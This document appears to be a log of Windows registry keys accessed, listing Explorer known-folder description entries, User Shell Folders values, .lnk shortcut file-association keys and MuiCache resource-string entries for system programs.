HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{B4BFCC3A-DB2C-424C-B029-7FE99A87C641}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Desktop
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\{1B3EA5DC-B587-4786-B4EF-BD1DC332AEAE}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{3EB685DB-65F9-4CF6-A03A-E3EF65729F3D}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\AllowFileCLSIDJunctions
HKEY_CLASSES_ROOT\.lnk
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.lnk\(Default)
HKEY_CLASSES_ROOT\.lnk\OpenWithProgids
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\OpenWithProgids
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.lnk\UserChoice
HKEY_CLASSES_ROOT\lnkfile
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\CurVer
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\ShellEx\IconHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\shellex\IconHandler\(Default)
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\DocObject
HKEY_CLASSES_ROOT\SystemFileAssociations\.lnk
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\DocObject
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\BrowseInPlace
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\.lnk\Content Type
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\Clsid
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\CLSID\(Default)
HKEY_CLASSES_ROOT\CLSID\{00021401-0000-0000-C000-000000000046}\Implemented Categories\{00021490-0000-0000-C000-000000000046}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\IsShortcut
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\SystemFileAssociations\.lnk\AlwaysShowExt
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\NeverShowExt
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\MUI\StringCacheSettings
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\MUI\StringCacheSettings\StringCacheGeneration
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\LanguageList
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-735
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-734
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\AccessibilityCpl.dll,-10
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\ie4uinit.exe,-737
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A77F5D77-2E2B-44C3-A6A2-ABA601054A51}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Programs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoStartMenuSubFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{A4115719-D62E-491D-AA7C-E74B8BE3B067}\PropertyBag
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Common Start Menu
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\sud.dll,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wucltux.dll,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\ehome\ehres.dll,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Windows Sidebar\sidebar.exe,-1005
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsAnytimeUpgradeUI.exe,-1
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\DVD Maker\DVDMaker.exe,-61403
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\FXSRESM.dll,-114
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\unregmp2.exe,-4
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\XpsRchVw.exe,-102
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\displayswitch.exe,-320
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\mip.exe,-291
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mblctr.exe,-1008
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\NetProjW.dll,-501
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mstsc.exe,-4000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SnippingTool.exe,-15051
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SoundRecorder.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\SNTSearch.dll,-505
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\System32\SyncCenter.dll,-3000
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\OobeFldr.dll,-33056
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\Speech\SpeechUX\sapi.cpl,-5555
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\dfrgui.exe,-103
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wdc.dll,-10030
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\msinfo32.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\rstrui.exe,-100
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\miguiresource.dll,-201
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\migwiz\wet.dll,-591
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\migwiz\wet.dll,-588
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\ShapeCollector.exe,-298
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Common Files\Microsoft Shared\Ink\TipTsf.dll,-80
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Program Files\Windows Journal\Journal.exe,-3074
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe,-102
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\comres.dll,-3410
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\mycomput.dll,-300
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\odbcint.dll,-1310
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\miguiresource.dll,-101
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\iscsicpl.dll,-5001
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\MdSched.exe,-4001
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wdc.dll,-10021
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\pmcsnap.dll,-700
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\@C:\Windows\system32\wsecedit.dll,-718
